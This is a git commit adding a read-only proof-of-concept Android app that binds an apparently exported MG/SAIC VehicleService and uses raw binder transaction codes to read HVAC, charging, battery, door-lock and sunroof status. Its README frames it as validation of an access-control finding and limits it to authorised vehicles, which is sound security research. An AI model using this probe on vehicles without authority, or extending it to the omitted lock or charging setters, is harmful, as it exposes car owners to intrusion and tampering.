Add read-only vehicle service binder probe

This commit is contained in:
bonzi committed 2026-08-12 17:18:54 +00:00
1 parent 85e55e1f21
commit 2d08f67ea5
6 files changed
+398

No files matched your search

+3
View File
@@ -19,3 +19,6 @@
# Bulk decompile output (regenerated by tools/bulk-decompile.sh)
device-info/decomp/
# Local build output for the read-only vehicle-service PoC
poc-vehicle-probe/build/
+24
View File
@@ -0,0 +1,24 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cloud.molberg.mgvehicleprobe"
android:versionCode="1"
android:versionName="0.1.0-readonly">
<uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
<application
android:allowBackup="false"
android:label="MG Vehicle Probe"
android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
android:usesCleartextTraffic="false">
<activity
android:name=".MainActivity"
android:screenOrientation="landscape"
android:configChanges="keyboardHidden|orientation|screenSize"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
+44
View File
@@ -0,0 +1,44 @@
# MG Vehicle Probe (read-only PoC)
This APK tests whether the exported `com.saicmotor.service.vehicle.VehicleService`
can be bound from a normal sideloaded app. It obtains the hub binder and queries
only primitive read operations:
- HVAC power and A/C switch;
- charging status, charging-control status/current, and battery quantity;
- door-lock and sunroof status.
It intentionally contains no mutating calls (`set*`, `open*`, `close*`, charging
start/stop, lock/unlock, windows, or climate setters). The goal is to validate
the access-control finding without changing vehicle state.
## Build
From this directory:
```sh
./build.sh
```
The output is `build/MG-Vehicle-Probe.apk`. By default it signs with the local
Android debug keystore; override `KEYSTORE`, `STOREPASS`, `ALIAS`, and `KEYPASS`
if needed.
## Install and run
```sh
adb install -r build/MG-Vehicle-Probe.apk
adb shell am start -n cloud.molberg.mgvehicleprobe/.MainActivity
```
Expected result if the service is reachable: `CONNECTED`, followed by binder
descriptors and read-only status values. If binding fails, capture `adb logcat`
and the text shown in the APK. Uninstall afterward with:
```sh
adb uninstall cloud.molberg.mgvehicleprobe
```
Only test on a vehicle you own or are explicitly authorized to assess. The
probe does not prove that every local command is safe or permissionless; it
only verifies access to the exported hub and read paths.
+42
View File
@@ -0,0 +1,42 @@
#!/bin/sh
# Build a minimal, read-only MG VehicleService binder probe without Gradle.
set -eu
ROOT=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
SDK=${ANDROID_HOME:-${ANDROID_SDK_ROOT:-/opt/android-sdk}}
TOOLS=$(find "$SDK/build-tools" -mindepth 1 -maxdepth 1 -type d | sort -V | tail -n 1)
ANDROID_JAR=$(find "$SDK/platforms" -mindepth 2 -maxdepth 2 -name android.jar -type f | sort -V | tail -n 1)
OUT="$ROOT/build"
APK="$OUT/MG-Vehicle-Probe.apk"
KEYSTORE=${KEYSTORE:-/root/.android/debug.keystore}
if [ -z "$TOOLS" ] || [ -z "$ANDROID_JAR" ]; then
echo "Android SDK build-tools and a platform are required (set ANDROID_HOME)." >&2
exit 1
fi
if [ ! -f "$KEYSTORE" ]; then
echo "Keystore not found: $KEYSTORE" >&2
exit 1
fi
rm -rf "$OUT"
mkdir -p "$OUT/classes" "$OUT/dex" "$OUT/generated"
"$TOOLS/aapt2" compile --dir "$ROOT/res" -o "$OUT/res.zip"
"$TOOLS/aapt2" link -I "$ANDROID_JAR" --manifest "$ROOT/AndroidManifest.xml" \
--java "$OUT/generated" -o "$OUT/resources.apk" "$OUT/res.zip"
javac -source 8 -target 8 -bootclasspath "$ANDROID_JAR" -d "$OUT/classes" \
$(find "$ROOT/src" "$OUT/generated" -name '*.java')
"$TOOLS/d8" --lib "$ANDROID_JAR" --output "$OUT/dex" $(find "$OUT/classes" -name '*.class')
cp "$OUT/resources.apk" "$OUT/MG-Vehicle-Probe-unsigned.apk"
(cd "$OUT/dex" && jar uf "$OUT/MG-Vehicle-Probe-unsigned.apk" classes.dex)
"$TOOLS/zipalign" -f 4 "$OUT/MG-Vehicle-Probe-unsigned.apk" "$APK"
rm -f "$APK.idsig"
STOREPASS=${STOREPASS:-android}
ALIAS=${ALIAS:-androiddebugkey}
KEYPASS=${KEYPASS:-android}
"$TOOLS/apksigner" sign \
--ks "$KEYSTORE" --ks-pass pass:"$STOREPASS" --ks-key-alias "$ALIAS" \
--key-pass pass:"$KEYPASS" --v1-signing-enabled true --v2-signing-enabled true \
--v3-signing-enabled true --v4-signing-enabled false --min-sdk-version 28 "$APK"
"$TOOLS/apksigner" verify -v --min-sdk-version 28 "$APK"
echo "Built $APK"
+8
View File
@@ -0,0 +1,8 @@
<resources>
<style name="AppTheme" parent="android:style/Theme.DeviceDefault.NoActionBar">
<item name="android:fontFamily">sans</item>
<item name="android:colorAccent">#00D8A5</item>
<item name="android:navigationBarColor">#0A1014</item>
<item name="android:statusBarColor">#0A1014</item>
</style>
</resources>
@@ -0,0 +1,277 @@
package cloud.molberg.mgvehicleprobe;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.graphics.Color;
import android.graphics.Typeface;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.view.Gravity;
import android.view.View;
import android.widget.Button;
import android.widget.LinearLayout;
import android.widget.ScrollView;
import android.widget.TextView;
import java.util.Locale;
/**
* Read-only proof of concept for the exported MG VehicleService binder.
*
* This intentionally contains no mutating vehicle calls: no set*, open*,
* close*, charging-control, lock, window, sunroof, or climate setters.
*/
public final class MainActivity extends Activity {
private static final String SERVICE_PACKAGE = "com.saicmotor.service.vehicle";
private static final String SERVICE_CLASS = "com.saicmotor.service.vehicle.VehicleService";
private static final String HUB_DESCRIPTOR =
"com.saicmotor.sdk.vehiclesettings.IHubService";
private static final String AIR_CONDITION = "aircondition";
private static final String VEHICLE_CHARGING = "vehiclecharging";
private static final String VEHICLE_CONTROL = "vehiclecontrol";
private static final int HUB_GET_SERVICE = 1;
private static final int AIR_GET_HVAC_POWER = 0x35;
private static final int AIR_GET_AC_SWITCH = 0x37;
private static final int CHARGE_GET_STATUS = 0x09;
private static final int CHARGE_GET_CURRENT = 0x0b;
private static final int CHARGE_GET_CONTROL = 0x11;
private static final int CONTROL_GET_DOOR_LOCK = 0x03;
private static final int CONTROL_GET_SUNROOF = 0x0f;
private final StringBuilder log = new StringBuilder();
private TextView status;
private Button bindButton;
private IBinder hub;
private boolean bound;
private final ServiceConnection connection = new ServiceConnection() {
@Override public void onServiceConnected(ComponentName name, IBinder service) {
hub = service;
bound = true;
append("CONNECTED: " + name.flattenToShortString());
append("hub descriptor: " + descriptor(service));
refreshReadOnly();
}
@Override public void onServiceDisconnected(ComponentName name) {
hub = null;
bound = false;
append("DISCONNECTED: " + name.flattenToShortString());
setButton("BIND VEHICLE SERVICE");
}
};
@Override public void onCreate(Bundle state) {
super.onCreate(state);
setContentView(buildUi());
append("Read-only probe; no vehicle state is modified.");
append("Target: " + SERVICE_PACKAGE + "/" + SERVICE_CLASS);
}
@Override protected void onDestroy() {
if (bound) {
try { unbindService(connection); } catch (Exception ignored) { }
bound = false;
}
super.onDestroy();
}
private View buildUi() {
LinearLayout root = new LinearLayout(this);
root.setOrientation(LinearLayout.VERTICAL);
root.setPadding(28, 20, 28, 20);
root.setBackgroundColor(Color.rgb(10, 16, 20));
TextView title = new TextView(this);
title.setText("MG VEHICLE BINDER PROBE • READ ONLY");
title.setTextColor(Color.rgb(225, 241, 238));
title.setTextSize(24);
title.setTypeface(Typeface.DEFAULT, Typeface.BOLD);
title.setGravity(Gravity.CENTER_VERTICAL);
root.addView(title, new LinearLayout.LayoutParams(-1, 58));
LinearLayout actions = new LinearLayout(this);
actions.setOrientation(LinearLayout.HORIZONTAL);
bindButton = button("BIND VEHICLE SERVICE");
bindButton.setOnClickListener(new View.OnClickListener() {
@Override public void onClick(View view) { bindOrRefresh(); }
});
actions.addView(bindButton, new LinearLayout.LayoutParams(0, 58, 1));
Button clear = button("CLEAR");
clear.setOnClickListener(new View.OnClickListener() {
@Override public void onClick(View view) {
log.setLength(0);
append("Cleared.");
}
});
LinearLayout.LayoutParams clearParams = new LinearLayout.LayoutParams(180, 58);
clearParams.setMargins(12, 0, 0, 0);
actions.addView(clear, clearParams);
root.addView(actions);
status = new TextView(this);
status.setTextColor(Color.rgb(225, 241, 238));
status.setTextSize(15);
status.setTypeface(Typeface.MONOSPACE);
status.setPadding(12, 12, 12, 12);
ScrollView scroll = new ScrollView(this);
scroll.setFillViewport(true);
scroll.addView(status);
LinearLayout.LayoutParams scrollParams = new LinearLayout.LayoutParams(-1, 0, 1);
scrollParams.setMargins(0, 16, 0, 0);
root.addView(scroll, scrollParams);
return root;
}
private Button button(String text) {
Button button = new Button(this);
button.setText(text);
button.setTextSize(13);
button.setTextColor(Color.rgb(0, 216, 165));
return button;
}
private void bindOrRefresh() {
if (bound && hub != null) {
refreshReadOnly();
return;
}
Intent intent = new Intent();
intent.setComponent(new ComponentName(SERVICE_PACKAGE, SERVICE_CLASS));
try {
boolean requested = bindService(intent, connection, Context.BIND_AUTO_CREATE);
append("bindService returned: " + requested);
if (!requested) setButton("BIND FAILED");
} catch (Throwable error) {
append("bindService error: " + error);
setButton("BIND ERROR");
}
}
private void refreshReadOnly() {
if (hub == null) {
append("No hub binder.");
return;
}
setButton("REFRESH READ-ONLY STATUS");
append("--- read-only status ---");
readService("aircondition", new Reader() {
@Override public void read(IBinder binder) throws Exception {
append("aircondition descriptor: " + descriptor(binder));
append("HVAC power: " + transactInt(binder,
"com.saicmotor.sdk.vehiclesettings.IAirConditionService",
AIR_GET_HVAC_POWER));
append("A/C switch: " + transactInt(binder,
"com.saicmotor.sdk.vehiclesettings.IAirConditionService",
AIR_GET_AC_SWITCH));
}
});
readService(VEHICLE_CHARGING, new Reader() {
@Override public void read(IBinder binder) throws Exception {
append("vehiclecharging descriptor: " + descriptor(binder));
append("charging status: " + transactInt(binder,
"com.saicmotor.sdk.vehiclesettings.IVehicleChargingService",
CHARGE_GET_STATUS));
append("charging control switch: " + transactInt(binder,
"com.saicmotor.sdk.vehiclesettings.IVehicleChargingService",
CHARGE_GET_CONTROL));
append("charging current: " + transactInt(binder,
"com.saicmotor.sdk.vehiclesettings.IVehicleChargingService",
CHARGE_GET_CURRENT));
append("battery quantity: " + transactFloat(binder,
"com.saicmotor.sdk.vehiclesettings.IVehicleChargingService",
0x03));
}
});
readService(VEHICLE_CONTROL, new Reader() {
@Override public void read(IBinder binder) throws Exception {
append("vehiclecontrol descriptor: " + descriptor(binder));
append("door lock status: " + transactInt(binder,
"com.saicmotor.sdk.vehiclesettings.IVehicleControlService",
CONTROL_GET_DOOR_LOCK));
append("sunroof status: " + transactInt(binder,
"com.saicmotor.sdk.vehiclesettings.IVehicleControlService",
CONTROL_GET_SUNROOF));
}
});
}
private void readService(String name, Reader reader) {
try {
IBinder service = getService(name);
if (service == null) {
append(name + ": null binder");
return;
}
reader.read(service);
} catch (Throwable error) {
append(name + ": read error: " + error);
}
}
private IBinder getService(String name) throws RemoteException {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
try {
data.writeInterfaceToken(HUB_DESCRIPTOR);
data.writeString(name);
if (!hub.transact(HUB_GET_SERVICE, data, reply, 0)) return null;
reply.readException();
return reply.readStrongBinder();
} finally {
reply.recycle();
data.recycle();
}
}
private int transactInt(IBinder binder, String descriptor, int code) throws RemoteException {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
try {
data.writeInterfaceToken(descriptor);
if (!binder.transact(code, data, reply, 0)) throw new RemoteException("transact returned false");
reply.readException();
return reply.readInt();
} finally {
reply.recycle();
data.recycle();
}
}
private float transactFloat(IBinder binder, String descriptor, int code) throws RemoteException {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
try {
data.writeInterfaceToken(descriptor);
if (!binder.transact(code, data, reply, 0)) throw new RemoteException("transact returned false");
reply.readException();
return reply.readFloat();
} finally {
reply.recycle();
data.recycle();
}
}
private String descriptor(IBinder binder) {
try { return binder.getInterfaceDescriptor(); }
catch (Throwable error) { return "<descriptor unavailable: " + error + ">"; }
}
private void append(String line) {
log.append(String.format(Locale.US, "%tT %s\n", System.currentTimeMillis(), line));
if (status != null) status.setText(log.toString());
}
private void setButton(String label) {
if (bindButton != null) bindButton.setText(label);
}
private interface Reader { void read(IBinder binder) throws Exception; }
}